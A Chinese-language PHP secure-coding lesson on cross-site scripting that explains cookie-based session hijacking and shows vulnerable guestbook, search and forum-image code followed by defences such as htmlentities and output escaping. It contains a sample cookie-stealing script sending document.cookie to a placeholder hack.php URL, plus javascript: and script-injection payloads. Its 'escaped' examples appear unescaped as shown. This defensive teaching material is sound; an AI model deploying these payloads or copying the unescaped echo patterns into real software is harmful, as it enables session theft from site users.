北京三个程序员信息技术有限公司
PHP安全编码——书写安全的代码
6、跨站脚本攻击的防范
2024-02-06
提问
问题1:什么是跨站脚本攻击?
问题2:跨站脚本攻击可能有什么危害?
问题3:怎么避免跨站脚本攻击?
课程单元
1. 什么是跨站脚本攻击
2. 一些跨站脚本攻击的例子
3. 跨站脚本攻击的防范
1、什么是跨站脚本攻击
跨站脚本攻击,简写作XSS,通过向网页内容中写入一段恶意的脚本或者HTML代码,将构造的恶意数据,显示在用户电脑的浏览器上,从而对用户发起攻击,导致用户数据泄漏。
最典型的是,黑客可以利用跨站脚本漏洞盗取用户Cookie,得到用户在该站点的身份权限,从而假冒用户在网站进行一些操作。
Cookie,指的是服务器通过浏览器存放在用户电脑上的一小段数据。
一般我们在php是通过session来判断用户身份的。
当我们第一次访问网站时,php会给浏览器发送一个cookie来标记用户的身份,对于不同的浏览器,php会发送不同的cookie,而浏览器访问网站时,会把cookie发送回php,这样php才能根据不同的cookie来判断用户对应的是哪个session。
一个cookie对应php中的一个session,因此,黑客只要拿到被黑的用户的cookie,发送给php,就等于黑客拿到了用户的session,php就会认为黑客就是被黑的用户,这样黑客就可以假冒用户身份来访问网站,进行各种本来只有用户自己才能进行的非法操作。
2、一些跨站脚本攻击的例子
2.1、一个留言板的例子
提交留言板:
<form action=“save.php” method=“post”>
姓名:<input type=“text” name=“username” />
留言内容:<textarea name=“comment”></textarea>
</form>
显示留言板:
<?php
//从数据库中取得姓名和留言内容(略)
//显示姓名和留言内容
echo “姓名:” . $username . “,留言内容为:” . $comment;
?>
黑客在留言内容里输入这样的内容:
<script>
window.location = “http://www.example.com/hack.php?cookies=" + document.cookie;
</script>
显示留言板时,这部分脚本就被直接显示出来了。当用户查看留言板时,会自动执行这段脚本,这样,用户的cookie就被传到了黑客网站上,黑客就可以通过cookie来模拟用户进行其他的操作。
2.2、一个搜索的例子
<form action=“search.php” method=“post”>
搜索关键词:<input type=“text” name=“keywords” />
</form>
显示搜索结果:
<?php
echo “搜索的关键词为:” . $_GET[“keywords”] . “,搜索到如下结果:”;
//显示搜索结果,略
?>
黑客给其他人发送这样的链接:
search.php?keywords=<script>alert();</script>
那么用户打开这个链接时,显示的是:
搜索的关键词为:<script>alert();</script>,搜索到如下结果:
这样就成功的插入了攻击脚本,黑客可以把alert替换成其他攻击性的js脚本来达到攻击目的。
2.3、一个论坛的例子
很多论坛支持在发帖时插入图片,例如:
[img]http://www.example.org/logo.gif[/img]
在显示论坛帖子时,会将[img]标签替换成正式的html代码,例如,上面的例子会被替换成:
<img src=“http://www.example.org/logo.gif”>
当黑客输入这样的标签时:
[img]javascript:alert();[/img]
显示时,就被替换成了这样的html代码:
<img src=“javascript:alert();”>
这样也成功的插入了攻击脚本,黑客可以把alert替换成其他攻击性的js脚本来达到攻击目的。
3、跨站脚本攻击的防范
1、对于所有的输入数据,都要进行过滤,去掉其中的特殊字符。例如,保存到数据库中时,先使用htmlentities去掉其中的特殊html字符。
2、对于所有的输出显示数据,也都要进行过滤,将<替换成<,将>替换成>,这样并不影响显示结果,但是可以禁止脚本被执行。
对于2.1,采用这样的方法,显示的留言板为:
<script>
window.location = “http://www.example.com/hack.php?cookies=" + document.cookie;
</script>
对于2.2,采用这样的方法,显示的结果成了这样:
搜索的关键词为:<script>alert();</script>,搜索到如下结果:
这些情况下,脚本都是不会被执行的,避免了攻击的发生。
3、对于所有用户输入结果进行仔细分析,结合实际情况制定限制条件,同时判断用户的输入,必须满足实际的限制条件。
对于2.3,显示的只能是图片,那就需要判断,[img]与[img]之间的内容必须以http://开头,同时将引号替换成"这样才能避免攻击的发生。
关注我们,获取更多资讯